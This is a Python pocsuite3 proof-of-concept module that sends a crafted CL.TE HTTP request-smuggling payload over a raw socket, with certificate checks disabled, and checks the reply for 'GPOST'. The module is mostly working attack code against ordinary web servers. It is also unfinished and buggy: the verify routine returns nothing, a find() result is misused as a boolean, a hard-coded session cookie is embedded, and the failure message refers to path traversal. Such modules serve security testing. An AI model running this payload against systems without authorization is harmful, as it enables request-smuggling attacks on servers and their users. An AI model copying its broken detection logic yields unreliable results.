import sys
import copy
import time
import socket,ssl
from urllib import parse
from pocsuite3.api import POCBase, requests, register_poc, VUL_TYPE, POC_CATEGORY, logger, Output
from urllib.parse import urlparse


class CRLFSmuggle(POCBase):
    vulID = '010'
    version = '3'
    author = ['cor0ps']
    vulDate = '2020-08-5'
    createDate = '2020-08-5'
    updateDate = '2020-08-5'
    references = ['https://paper.seebug.org/1048/#51']
    name = 'HTTP走私'
    appName = 'HTTP Smuggle'
    appVersion = 'All'
    appPowerLink = ''
    vulType = VUL_TYPE.HTTP_RESPONSE_SMUGGLING
    desc = '''
       HTTP请求走私这一攻击方式很特殊，它不像其他的Web攻击方式那样比较直观，它更多的是在复杂网络环境下，
       不同的服务器对RFC标准实现的方式不同，程度不同。这样一来，对同一个HTTP请求，不同的服务器可能会产生不同的处理结果，
       这样就产生了了安全风险。
    '''
    samples = ['']
    category = POC_CATEGORY.EXPLOITS.REMOTE
    protocol = POC_CATEGORY.PROTOCOL.HTTP
    timeout = 7

    def _attack(self):
        pass

    def _verify(self):
        result = {}
        self.checkCLTE()
        #response = requests.post(url, data=post_data, headers=headers)
        #logger.info("url:{},status:{}".format(response.content, response.status_code))
        #if response.status_code == 200 and b'GPOST' in response.content:
            #result['VerifyInfo'] = {}
            #result['VerifyInfo']['Info'] = self.name
            #result['VerifyInfo']['URL'] = self.url
        #return self.parse_verify(result)

    def checkCLTE(self):
        logger.info("check requests CL.TE smuggle")
        urlInfo = urlparse(self.url)
        path = urlInfo.path if len(urlInfo.path) > 0 else "/"
        header = 'POST {} HTTP/1.1\r\nHost: {}\r\nConnection: keep-alive\r\nCookie: session=pp7iy0RIhx9vZqqKBwdAVKQ2wsNOcc73\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n'.format(path,
                                                                                                                  urlInfo.netloc)
        data = '0\r\n\r\nG'
        start = time.time()
        for i in range(2):
            response=self.sendPayload(self.url, header, data)
            print("test1")
            find=response.find("GPOST")
            if find:
                print(response)

        if time.time() - start >= self.timeout:
            return 1
        return 0

    def sendPayload(self, url, header, data):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        parse=urlparse(url)
        if parse.scheme=="https":
            port=443
            context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
            context.verify_mode = ssl.CERT_NONE
            s=context.wrap_socket(s,server_hostname=parse.netloc)
        else:
            port=80
        s.connect((parse.netloc,port))
        s.sendall(header.encode('iso-8859-1')+data.encode('ascii'))
        response = s.recv(1000).decode('utf-8')
        return response


    def _run(self):
        pass

    def parse_verify(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('PathTraversal target is not vulnerable')
        return output


# 重复代码，想办法写到框架中去
def url_para_spilt(url, payload):
    ret = []
    u = parse.urlparse(url)
    qs = u.query
    temp_url = url.replace('?' + qs, '')
    qs_dict = dict(parse.parse_qs(qs))
    # exclude={'func','sid','doCheck'}
    for key in qs_dict.keys():
        temp_dict = copy.deepcopy(qs_dict)
        temp_dict[key] = payload
        query = parse.urlencode(temp_dict)
        ret.append(temp_url + "?" + query)

    return ret


register_poc(CRLFSmuggle)
